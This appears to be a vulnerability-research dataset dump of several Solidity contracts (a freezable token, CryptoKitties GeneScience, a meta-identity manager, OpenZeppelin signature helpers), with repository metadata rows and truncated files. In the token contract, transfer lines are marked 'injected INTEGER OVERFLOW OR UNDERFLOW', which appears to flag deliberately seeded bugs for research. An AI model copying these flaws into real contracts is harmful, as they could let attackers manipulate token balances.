for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != admin);
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function multiFreezeWithTimestamp(address[] memory _targets, uint256[] memory _timestamps) public returns (bool) {
require(msg.sender == admin);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != admin);
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
//------------------------------ Account lock -----------------------------------//
//-------------------------- Frozen rules ------------------------------//
FrozenValidator.Validator validator;
function addRule(address addr, uint8 initPercent, uint256[] memory periods, uint8[] memory percents) public returns (bool) {
require(msg.sender == admin);
return validator.addRule(addr, initPercent, periods, percents);
}
function addTimeT(address addr, uint256 timeT) public returns (bool) {
require(msg.sender == admin);
return validator.addTimeT(addr, timeT);
}
function removeRule(address addr) public returns (bool) {
require(msg.sender == admin);
return validator.removeRule(addr);
}
//-------------------------- Frozen rules ------------------------------//
//------------------------- Standard ERC20 Interfaces --------------------------//
function multiTransfer(address[] memory _tos, uint256[] memory _values) public returns (bool) {
require(!frozenAccount[msg.sender]);
require(block.timestamp > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender].sub(validator.validate(msg.sender)));
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
if (validator.containRule(msg.sender) && msg.sender != _to) {
validator.addFrozenBalance(msg.sender, _to, _values[j]);
}
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
transferfix(_to, _value);
return true;
}
function transferfix(address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
require(block.timestamp > frozenTimestamp[msg.sender]);
require(balances[msg.sender].sub(_value) >= validator.validate(msg.sender));
if (validator.containRule(msg.sender) && msg.sender != _to) {
validator.addFrozenBalance(msg.sender, _to, _value);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!frozenAccount[_from]);
require(block.timestamp > frozenTimestamp[_from]);
require(_value <= balances[_from].sub(validator.validate(_from)));
require(_value <= allowed[_from][msg.sender]);
if (validator.containRule(_from) && _from != _to) {
validator.addFrozenBalance(_from, _to, _value);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner]; //.sub(validator.validate(_owner));
}
//------------------------- Standard ERC20 Interfaces --------------------------//
function lockedBalanceOf(address _target) public view returns (uint256) {
return validator.validate(_target);
}
function kill() public {
require(msg.sender == admin);
selfdestruct(admin);
}
}
| 280,266 | 10,644 |
7fef31f7eb0318baf89377f580aa84c2f1cd960aabd82914c625193fecd57280
| 10,313 |
.sol
|
Solidity
| false |
206420749
|
omni/cryptokitties-xdai-demo
|
d7ccc3e7a42549e5545cd6485d6cc636ff17f18b
|
contracts/kitty/GeneScience.sol
| 2,605 | 9,766 |
//////////////////////
// see https://etherscan.io/address/0xf97e0a5b616dffc913e72455fde9ea8bbe946a2b#code
pragma solidity 0.4.24;
/// @title GeneScience implements the trait calculation for new kitties
contract GeneScience {
bool public isGeneScience = true;
uint256 internal constant maskLast8Bits = uint256(0xff);
uint256 internal constant maskFirst248Bits = uint256(~0xff);
function GeneScience() public {}
/// @param trait1 any trait of that characteristic
/// @param trait2 any trait of that characteristic
/// @param rand is expected to be a 3 bits number (0~7)
/// @return -1 if didnt match any ascention, OR a number from 0 to 30 for the ascended trait
function _ascend(uint8 trait1, uint8 trait2, uint256 rand) internal pure returns(uint8 ascension) {
ascension = 0;
uint8 smallT = trait1;
uint8 bigT = trait2;
if (smallT > bigT) {
bigT = trait1;
smallT = trait2;
}
// https://github.com/axiomzen/cryptokitties/issues/244
if ((bigT - smallT == 1) && smallT % 2 == 0) {
// The rand argument is expected to be a random number 0-7.
// 1st and 2nd tier: 1/4 chance (rand is 0 or 1)
// 3rd and 4th tier: 1/8 chance (rand is 0)
// must be at least this much to ascend
uint256 maxRand;
if (smallT < 23) maxRand = 1;
else maxRand = 0;
if (rand <= maxRand) {
ascension = (smallT / 2) + 16;
}
}
}
/// @dev given a number get a slice of any bits, at certain offset
/// @param _n a number to be sliced
/// @param _nbits how many bits long is the new number
/// @param _offset how many bits to skip
function _sliceNumber(uint256 _n, uint256 _nbits, uint256 _offset) private pure returns (uint256) {
// mask is made by shifting left an offset number of times
uint256 mask = uint256((2**_nbits) - 1) << _offset;
// AND n with mask, and trim to max of _nbits bits
return uint256((_n & mask) >> _offset);
}
/// @dev Get a 5 bit slice from an input as a number
/// @param _input bits, encoded as uint
/// @param _slot from 0 to 50
function _get5Bits(uint256 _input, uint256 _slot) internal pure returns(uint8) {
return uint8(_sliceNumber(_input, uint256(5), _slot * 5));
}
/// @dev Parse a kitten gene and returns all of 12 "trait stack" that makes the characteristics
/// @param _genes kitten gene
function decode(uint256 _genes) public pure returns(uint8[]) {
uint8[] memory traits = new uint8[](48);
uint256 i;
for(i = 0; i < 48; i++) {
traits[i] = _get5Bits(_genes, i);
}
return traits;
}
/// @dev Given an array of traits return the number that represent genes
function encode(uint8[] _traits) public pure returns (uint256 _genes) {
_genes = 0;
for(uint256 i = 0; i < 48; i++) {
_genes = _genes << 5;
// bitwise OR trait with _genes
_genes = _genes | _traits[47 - i];
}
return _genes;
}
/// @dev return the expressing traits
/// @param _genes the long number expressing cat genes
function expressingTraits(uint256 _genes) public pure returns(uint8[12]) {
uint8[12] memory express;
for(uint256 i = 0; i < 12; i++) {
express[i] = _get5Bits(_genes, i * 4);
}
return express;
}
/// @dev the function as defined in the breeding contract - as defined in CK bible
function mixGenes(uint256 _genes1, uint256 _genes2, uint256 _targetBlock) public returns (uint256) {
require(block.number > _targetBlock);
// Try to grab the hash of the "target block". This should be available the vast
// majority of the time (it will only fail if no-one calls giveBirth() within 256
// blocks of the target block, which is about 40 minutes. Since anyone can call
// giveBirth() and they are rewarded with ether if it succeeds, this is quite unlikely.)
uint256 randomN = uint256(block.blockhash(_targetBlock));
if (randomN == 0) {
// We don't want to completely bail if the target block is no-longer available,
// nor do we want to just use the current block's hash (since it could allow a
// caller to game the random result). Compute the most recent block that has the
// the same value modulo 256 as the target block. The hash for this block will
// still be available, and while it can still change as time passes it will
// only change every 40 minutes. Again, someone is very likely to jump in with
// the giveBirth() call before it can cycle too many times.
_targetBlock = (block.number & maskFirst248Bits) + (_targetBlock & maskLast8Bits);
// The computation above could result in a block LARGER than the current block,
// if so, subtract 256.
if (_targetBlock >= block.number) _targetBlock -= 256;
randomN = uint256(block.blockhash(_targetBlock));
// DEBUG ONLY
// assert(block.number != _targetBlock);
// assert((block.number - _targetBlock) <= 256);
// assert(randomN != 0);
}
// generate 256 bits of random, using as much entropy as we can from
// sources that can't change between calls.
randomN = uint256(keccak256(randomN, _genes1, _genes2, _targetBlock));
uint256 randomIndex = 0;
uint8[] memory genes1Array = decode(_genes1);
uint8[] memory genes2Array = decode(_genes2);
// All traits that will belong to baby
uint8[] memory babyArray = new uint8[](48);
// A pointer to the trait we are dealing with currently
uint256 traitPos;
// Trait swap value holder
uint8 swap;
// iterate all 12 characteristics
for(uint256 i = 0; i < 12; i++) {
// pick 4 traits for characteristic i
uint256 j;
// store the current random value
uint256 rand;
for(j = 3; j >= 1; j--) {
traitPos = (i * 4) + j;
rand = _sliceNumber(randomN, 2, randomIndex); // 0~3
randomIndex += 2;
// 1/4 of a chance of gene swapping forward towards expressing.
if (rand == 0) {
// do it for parent 1
swap = genes1Array[traitPos];
genes1Array[traitPos] = genes1Array[traitPos - 1];
genes1Array[traitPos - 1] = swap;
}
rand = _sliceNumber(randomN, 2, randomIndex); // 0~3
randomIndex += 2;
if (rand == 0) {
// do it for parent 2
swap = genes2Array[traitPos];
genes2Array[traitPos] = genes2Array[traitPos - 1];
genes2Array[traitPos - 1] = swap;
}
}
}
// DEBUG ONLY - We should have used 72 2-bit slices above for the swapping
// which will have consumed 144 bits.
// assert(randomIndex == 144);
// We have 256 - 144 = 112 bits of randomness left at this point. We will use up to
// four bits for the first slot of each trait (three for the possible ascension, one
// to pick between mom and dad if the ascension fails, for a total of 48 bits. The other
// traits use one bit to pick between parents (36 gene pairs, 36 genes), leaving us
// well within our entropy budget.
// done shuffling parent genes, now let's decide on choosing trait and if ascending.
// NOTE: Ascensions ONLY happen in the "top slot" of each characteristic. This saves
// gas and also ensures ascensions only happen when they're visible.
for(traitPos = 0; traitPos < 48; traitPos++) {
// See if this trait pair should ascend
uint8 ascendedTrait = 0;
// There are two checks here. The first is straightforward, only the trait
// in the first slot can ascend. The first slot is zero mod 4.
//
// The second check is more subtle: Only values that are one apart can ascend,
// which is what we check inside the _ascend method. However, this simple mask
// and compare is very cheap (9 gas) and will filter out about half of the
// non-ascending pairs without a function call.
//
// The comparison itself just checks that one value is even, and the other
// is odd.
if ((traitPos % 4 == 0) && (genes1Array[traitPos] & 1) != (genes2Array[traitPos] & 1)) {
rand = _sliceNumber(randomN, 3, randomIndex);
randomIndex += 3;
ascendedTrait = _ascend(genes1Array[traitPos], genes2Array[traitPos], rand);
}
if (ascendedTrait > 0) {
babyArray[traitPos] = uint8(ascendedTrait);
} else {
// did not ascend, pick one of the parent's traits for the baby
// We use the top bit of rand for this (the bottom three bits were used
// to check for the ascension itself).
rand = _sliceNumber(randomN, 1, randomIndex);
randomIndex += 1;
if (rand == 0) {
babyArray[traitPos] = uint8(genes1Array[traitPos]);
} else {
babyArray[traitPos] = uint8(genes2Array[traitPos]);
}
}
}
return encode(babyArray);
}
}
| 155,517 | 10,645 |
0ee035f03ce41c4282363da052aaca5d752b3b590cde38d34706f8dde4abefa4
| 11,095 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x27500ae27b6b6ad7de7d64b1def90f3e6e7ced47.sol
| 2,262 | 10,356 |
pragma solidity 0.4.15;
contract Owned {
address public owner;
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function Owned() { owner = msg.sender; }
function isOwner(address addr) public returns(bool) { return addr == owner; }
function transfer(address newOwner) public onlyOwner {
if (newOwner != address(this)) {
owner = newOwner;
}
}
}
contract Proxy is Owned {
event Forwarded (address indexed destination, uint value, bytes data);
event Received (address indexed sender, uint value);
function () payable { Received(msg.sender, msg.value); }
function forward(address destination, uint value, bytes data) public onlyOwner {
require(destination.call.value(value)(data));
Forwarded(destination, value, data);
}
}
contract MetaIdentityManager {
uint adminTimeLock;
uint userTimeLock;
uint adminRate;
address relay;
event LogIdentityCreated(address indexed identity,
address indexed creator,
address owner,
address indexed recoveryKey);
event LogOwnerAdded(address indexed identity,
address indexed owner,
address instigator);
event LogOwnerRemoved(address indexed identity,
address indexed owner,
address instigator);
event LogRecoveryChanged(address indexed identity,
address indexed recoveryKey,
address instigator);
event LogMigrationInitiated(address indexed identity,
address indexed newIdManager,
address instigator);
event LogMigrationCanceled(address indexed identity,
address indexed newIdManager,
address instigator);
event LogMigrationFinalized(address indexed identity,
address indexed newIdManager,
address instigator);
mapping(address => mapping(address => uint)) owners;
mapping(address => address) recoveryKeys;
mapping(address => mapping(address => uint)) limiter;
mapping(address => uint) public migrationInitiated;
mapping(address => address) public migrationNewAddress;
modifier onlyAuthorized() {
require(msg.sender == relay || checkMessageData(msg.sender));
_;
}
modifier onlyOwner(address identity, address sender) {
require(isOwner(identity, sender));
_;
}
modifier onlyOlderOwner(address identity, address sender) {
require(isOlderOwner(identity, sender));
_;
}
modifier onlyRecovery(address identity, address sender) {
require(recoveryKeys[identity] == sender);
_;
}
modifier rateLimited(Proxy identity, address sender) {
require(limiter[identity][sender] < (now - adminRate));
limiter[identity][sender] = now;
_;
}
modifier validAddress(address addr) { //protects against some weird attacks
require(addr != address(0));
_;
}
/// @dev Contract constructor sets initial timelocks and meta-tx relay address
/// @param _userTimeLock Time before new owner added by recovery can control proxy
/// @param _adminTimeLock Time before new owner can add/remove owners
/// @param _adminRate Time period used for rate limiting a given key for admin functionality
/// @param _relayAddress Address of meta transaction relay contract
function MetaIdentityManager(uint _userTimeLock, uint _adminTimeLock, uint _adminRate, address _relayAddress) {
require(_adminTimeLock >= _userTimeLock);
adminTimeLock = _adminTimeLock;
userTimeLock = _userTimeLock;
adminRate = _adminRate;
relay = _relayAddress;
}
/// @dev Creates a new proxy contract for an owner and recovery
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// Gas cost of ~300,000
function createIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) {
Proxy identity = new Proxy();
owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one
recoveryKeys[identity] = recoveryKey;
LogIdentityCreated(identity, msg.sender, owner, recoveryKey);
}
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// @param destination Address of contract to be called after proxy is created
/// @param data of function to be called at the destination contract
function createIdentityWithCall(address owner, address recoveryKey, address destination, bytes data) public validAddress(recoveryKey) {
Proxy identity = new Proxy();
owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one
recoveryKeys[identity] = recoveryKey;
LogIdentityCreated(identity, msg.sender, owner, recoveryKey);
identity.forward(destination, 0, data);
}
/// @param owner Key who can use this contract to control proxy. Given full power
/// @param recoveryKey Key of recovery network or address from seed to recovery proxy
/// Note: User must change owner of proxy to this contract after calling this
function registerIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) {
require(recoveryKeys[msg.sender] == 0); // Deny any funny business
owners[msg.sender][owner] = now - adminTimeLock; // Owner has full power from day one
recoveryKeys[msg.sender] = recoveryKey;
LogIdentityCreated(msg.sender, msg.sender, owner, recoveryKey);
}
/// @dev Allows a user to forward a call through their proxy.
function forwardTo(address sender, Proxy identity, address destination, uint value, bytes data) public
onlyAuthorized
onlyOwner(identity, sender)
{
identity.forward(destination, value, data);
}
/// @dev Allows an olderOwner to add a new owner instantly
function addOwner(address sender, Proxy identity, address newOwner) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
{
require(!isOwner(identity, newOwner));
owners[identity][newOwner] = now - userTimeLock;
LogOwnerAdded(identity, newOwner, sender);
}
/// @dev Allows a recoveryKey to add a new owner with userTimeLock waiting time
function addOwnerFromRecovery(address sender, Proxy identity, address newOwner) public
onlyAuthorized
onlyRecovery(identity, sender)
rateLimited(identity, sender)
{
require(!isOwner(identity, newOwner));
owners[identity][newOwner] = now;
LogOwnerAdded(identity, newOwner, sender);
}
/// @dev Allows an owner to remove another owner instantly
function removeOwner(address sender, Proxy identity, address owner) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
{
// an owner should not be allowed to remove itself
require(sender != owner);
delete owners[identity][owner];
LogOwnerRemoved(identity, owner, sender);
}
/// @dev Allows an owner to change the recoveryKey instantly
function changeRecovery(address sender, Proxy identity, address recoveryKey) public
onlyAuthorized
onlyOlderOwner(identity, sender)
rateLimited(identity, sender)
validAddress(recoveryKey)
{
recoveryKeys[identity] = recoveryKey;
LogRecoveryChanged(identity, recoveryKey, sender);
}
/// @dev Allows an owner to begin process of transfering proxy to new IdentityManager
function initiateMigration(address sender, Proxy identity, address newIdManager) public
onlyAuthorized
onlyOlderOwner(identity, sender)
{
migrationInitiated[identity] = now;
migrationNewAddress[identity] = newIdManager;
LogMigrationInitiated(identity, newIdManager, sender);
}
/// @dev Allows an owner to cancel the process of transfering proxy to new IdentityManager
function cancelMigration(address sender, Proxy identity) public
onlyAuthorized
onlyOwner(identity, sender)
{
address canceledManager = migrationNewAddress[identity];
delete migrationInitiated[identity];
delete migrationNewAddress[identity];
LogMigrationCanceled(identity, canceledManager, sender);
}
/// @dev Allows an owner to finalize and completly transfer proxy to new IdentityManager
/// Not doing so risks the proxy becoming stuck.
function finalizeMigration(address sender, Proxy identity) onlyAuthorized onlyOlderOwner(identity, sender) {
require(migrationInitiated[identity] != 0 && migrationInitiated[identity] + adminTimeLock < now);
address newIdManager = migrationNewAddress[identity];
delete migrationInitiated[identity];
delete migrationNewAddress[identity];
identity.transfer(newIdManager);
delete recoveryKeys[identity];
// We can only delete the owner that we know of. All other owners
// needs to be removed before a call to this method.
delete owners[identity][sender];
LogMigrationFinalized(identity, newIdManager, sender);
}
//Checks that address a is the first input in msg.data.
//Has very minimal gas overhead.
function checkMessageData(address a) internal constant returns (bool t) {
if (msg.data.length < 36) return false;
assembly {
let mask := 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
t := eq(a, and(mask, calldataload(4)))
}
}
function isOwner(address identity, address owner) public constant returns (bool) {
return (owners[identity][owner] > 0 && (owners[identity][owner] + userTimeLock) <= now);
}
function isOlderOwner(address identity, address owner) public constant returns (bool) {
return (owners[identity][owner] > 0 && (owners[identity][owner] + adminTimeLock) <= now);
}
function isRecovery(address identity, address recoveryKey) public constant returns (bool) {
return recoveryKeys[identity] == recoveryKey;
}
}
| 134,248 | 10,646 |
cac9855d30ed320624dd6258b72c8cd9ca6c6cb9ee92b0b91db6812ea2867809
| 28,567 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/SignatureCheckerMockUpgradeable_flat.sol
| 3,324 | 13,437 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/SignatureChecker.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/ECDSA.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)
interface IERC1271Upgradeable {
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
library SignatureCheckerUpgradeable {
function isValidSignatureNow(address signer,
bytes32 hash,
bytes memory signature) internal view returns (bool) {
(address recovered, ECDSAUpgradeable.RecoverError error) = ECDSAUpgradeable.tryRecover(hash, signature);
if (error == ECDSAUpgradeable.RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(abi.encodeWithSelector(IERC1271Upgradeable.isValidSignature.selector, hash, signature));
return (success &&
result.length == 32 &&
abi.decode(result, (bytes32)) == bytes32(IERC1271Upgradeable.isValidSignature.selector));
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
contract SignatureCheckerMockUpgradeable is Initializable {
function __SignatureCheckerMock_init() internal onlyInitializing {
}
function __SignatureCheckerMock_init_unchained() internal onlyInitializing {
}
using SignatureCheckerUpgradeable for address;
function isValidSignatureNow(address signer,
bytes32 hash,
bytes memory signature) public view returns (bool) {
return signer.isValidSignatureNow(hash, signature);
}
uint256[50] private __gap;
}
| 63,141 | 10,647 |
2836cfe5b4fa1269ba874edb50129c74858e3075706108e6d640cc634101597b
| 32,663 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0196F41D8672e4d1Fe954061EE317130ca85A4Cd/contract.sol
| 4,173 | 16,089 |
pragma solidity 0.6.12;
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
